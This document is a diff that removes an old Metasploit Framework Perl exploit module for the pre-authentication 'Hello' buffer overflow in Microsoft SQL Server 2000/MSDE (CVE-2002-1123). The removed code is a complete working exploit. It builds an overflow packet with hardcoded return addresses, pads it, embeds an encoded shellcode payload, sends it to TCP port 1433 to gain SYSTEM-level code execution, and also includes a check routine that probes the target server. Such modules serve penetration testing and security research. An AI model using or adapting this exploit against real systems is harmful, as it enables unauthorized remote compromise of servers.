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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::mssql2000_preauthentication;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
- my $info =
- {
- 'Name' => 'MSSQL 2000/MSDE Hello Buffer Overflow',
- 'Version' => '$Revision: 1.6 $',
- 'Authors' => [ 'y0 [at] w00t-shell.net', ],
-
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'win2000' ],
- 'Priv' => 1,
-
- 'AutoOpts' => { 'EXITFUNC' => 'seh' },
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 1433],
- },
-
- 'Payload' =>
- {
- 'Space' => 512,
- 'BadChars' => "\x00",
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- By sending malformed data to TCP port 1433, an unauthenticated
- remote attacker could overflow a buffer and possibly execute code
- on the server with SYSTEM level privileges. This module should
- work against any vulnerable SQL Server 2000 or MSDE install (< SP3).
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '10132'],
- ['CVE', '2002-1123'],
- ['URL', 'http://www.immunitysec.com/#Werd+to+Dave+Aitel'],
- ['MIL', '43'],
- ],
-
- 'DefaultTarget' => 0,
- 'Targets' => [['Microsoft SQL Server 2000 / MSDE 2000 ', 0x42b68aba, 0x42d01e50]],
-
- 'Keys' => ['mssql'],
-
- 'DisclosureDate' => 'Aug 5 2002',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Check {
- my $self = shift;
- my %r = Pex::MSSQL::Ping($self->GetVar('RHOST'), $self->GetVar('RPORT'));
-
- if (! keys(%r)) {
- $self->PrintLine("[*] No response recieved from SQL server");
- return $self->CheckCode('Safe');
- }
-
- $self->PrintLine("SQL Server '". $r{'ServerName'} ."' on port ". $r{'tcp'});
- return $self->CheckCode('Detected');
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode =$self->GetVar('EncodedPayload')->Payload;
-
- my $target = $self->Targets->[$target_idx];
-
- $self->PrintLine(sprintf("[*] Saying hello to %s (0x%.8x / 0x%.8x)", $target->[0], $target->[1], $target->[2]));
-
- my $request = "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b".
- "\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x02".
- "\x10\x00\x00\x00" .
- ("M" x 528) . "\x1B\xA5\xEE\x34" . "CCCC" .
- pack('V', $target->[1]).
- pack('V', $target->[2]).
- pack('V', $target->[2]).
- "3333".
- pack('V', $target->[2]).
- pack('V', $target->[2]).
- ("\x41" x 88) . $shellcode .
- "\x00\x24\x01\x00\x00";
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $s->Send($request);
-
- sleep(1);
- return;
- }
-
-